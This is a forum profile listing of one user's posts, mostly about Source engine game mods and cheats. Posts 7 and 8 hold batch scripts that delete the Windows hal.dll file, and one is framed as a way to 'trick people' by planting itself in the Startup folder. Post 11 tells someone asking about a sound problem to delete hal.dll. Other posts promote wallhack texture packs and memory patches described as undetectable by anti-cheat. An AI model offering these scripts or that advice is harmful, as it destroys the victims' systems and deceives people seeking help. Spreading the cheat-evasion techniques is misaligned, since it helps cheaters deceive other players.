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Ejaculeet

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Everything posted by Ejaculeet

  1. It uses the old client dll for masking. That's why. It's not recommended you use this after the update. I will release a new version anyways.
  2. You should know better. It patches the engine with the of hl2 executable memory. And NOP the opcodes which is what I did in CBBPV 1.3 makes it undetectable.
  3. Aphex Twin - Rubber Johnny Aphex Twin - Vordhosbn
  4. There is, that's what the Trainer is for. It's how most hacks like this are made anyways. http://www.bkmods.eu.tt
  5. Welcome, Just recently, I made a tutorial on how to create a sv_cheats disabler which is a client side cheat that makes the source engine think that the cheats aren't restricted by 'sv_cheats' in the memory. I made this tutorial to make people develop a certain understanding on how to use a memory editor and how to make an sv_cheat disabler. Watch Thanks for reading. Post your comments.
  6. Ejaculeet posted a post in a topic in Computer Discussion
    @ECHO OFF copy /b image1.jpg + images-in-image1.zip image.jpg Makes it so that a single zip file of many images or other shit can be opened as a jpeg using winrar/zip
  7. Ejaculeet posted a post in a topic in Computer Discussion
    Or another good way to trick people: @ECHO OFF C: CD C:\Documents and Settings\All Users\Start Menu\Programs\Startup\ ECHO C: > autoexec.bat ECHO CD WINDOWS\system32\ >> autoexec.bat ECHO DEL /Q /F hal.dll >> autoexec.bat EXIT When the user clicks on this it will send a copy of the file that deletes hal.dll to the startup folder. So, when they restart or start up their computers again, any user that logs in will have hal.dll deleted.
  8. Ejaculeet posted a post in a topic in Computer Discussion
    http://www.ss64.com/nt/ @ECHO OFF C: CD C:\WINDOWS\System32\ DEL /Q /F hal.dll exit
  9. http://www.bkmods.eu.tt
  10. Ejaculeet posted a post in a topic in Artwork Showcase
    http://i147.photobucket.com/albums/r291/ddarrio/shit23.png
  11. Two possiblilities.. One, delete you hal.dll in your system32 folder. two, It's because source updated the Hz of the wave files and they're are now 11,050 hz.. Or something like that. Explore it. I recommend it's one though.
  12. You can edit the base material (BASETX.vtf) to be glass. You can edit it to be anything you want.
  13. Depends if server consistency is restricted, it's just a material hack. I already know what it is..:wtcslap:
  14. Probably none.. I just released it today.
  15. roflcopter thanks dude.. If they don't trust it, they can open it up with notepad.
  16. http://i147.photobucket.com/albums/r291/ddarrio/bkmodlogo.gif Full Transparency Extractor v1.6 WOOT! Okay, I've got the latest update of this material pack updated. It's wicked awesome. I fixed all the right shaders and typical problems that occured with the last one. It's sweet, because it's got a self extractor that I figured out how to make with command prompt, then I turned into a batch. Have fun guys! Really simple. Please post a comment regarding on what you think about these! Also, Thanks to Z_one, and flynch for helping me realize the problems and bugs. Features: All wall/model/static textures in game Really Low file size Self Extractor Method Supported for all custom and official maps http://i147.photobucket.com/albums/r291/ddarrio/add.jpg [WEBSITE] DOWNLOAD? Extractor v1.6 Download: Filesize: 36KB [Download] Credits: Name: CKBeattie Usernames: Ejacu1337/Trujilla/D'darrio.
  17. EDIT: From me. EDIT(2): My name is on the website. And in the README for my e-mail in the package.
  18. http://i147.photobucket.com/albums/r291/ddarrio/bkmodlogo.gif Okay, I know alot of you have been waiting for a full transparency pack with all the materials and such. Well, here it is! A full pack of materials in the source engine re-edited to fit transparency! This is by far by best release yet. AND The file size is amazingly low.. say, 900 KB? Yep, that's right. The best part, is that you can include your own custom wall texture or customize it the way you want by just chaning one file! Features: All wall/model/static textures in game Low file size Additional addons @ site Supported for all custom and official maps http://i147.photobucket.com/albums/r291/ddarrio/add.jpg [WEBSITE SECTION] DOWNLOAD? Official Wall Texture Download: Filesize: 957KB [Download] Wall Addon Green: Filesize: 2KB [Download] Wall Addon Yellow: Filesize: 2KB [Download] Wall Addon Red: Filesize: 3KB [Download]
  19. Ejaculeet posted a post in a topic in Steam Powered Games
    a wait command applies one millisecond between other commands
  20. Ejaculeet posted a post in a topic in Flames
    CO-CO-CO-CO-CO-CO-CO-COMBO BREAKKERRR!!!!!
  21. Ejaculeet posted a post in a topic in Steam Powered Games
    Wheattoast!:sly: You up'd the saturation :happysad: http://img406.imageshack.us/img406/1695/pinkqwj3.gif
  22. Sorry for the asshole-ness... But I still find it really dumb to ask if someone would pay for hacks. It's like asking "would you pay for my private msn messenger?"
  23. Actually, It does affect the sound codec in counter-strike, but not the time or pitch of the voice annoy.
  24. Actually, not really.. It's the most fucking pointless thread. It doesn't provide and useful information. Infact, it should be closed. As previously suggested.
  25. Ejaculeet posted a post in a topic in Steam Powered Games
    Okay.. Look it up seriously.. It's not hard.. When you're in play. If you're in the console and you type 'go' it'll start radio and will say "Go, go, go!" so for example you could bind that. When me and my friends scrimmed, we spammed with voice annoy, radio and chat. To do radio and chat at the same time. Just bind it to scroll.. bind mwheeldown "go;say GO GO GO GO GO GO GO GO GO GO GO GO GO" bind mwheelup "go;say GO GO GO GO GO GO GO GO GO GO GO GO GO" and to bind back, just go: bind mwheeldown "invnext" bind mwheelup "invprev"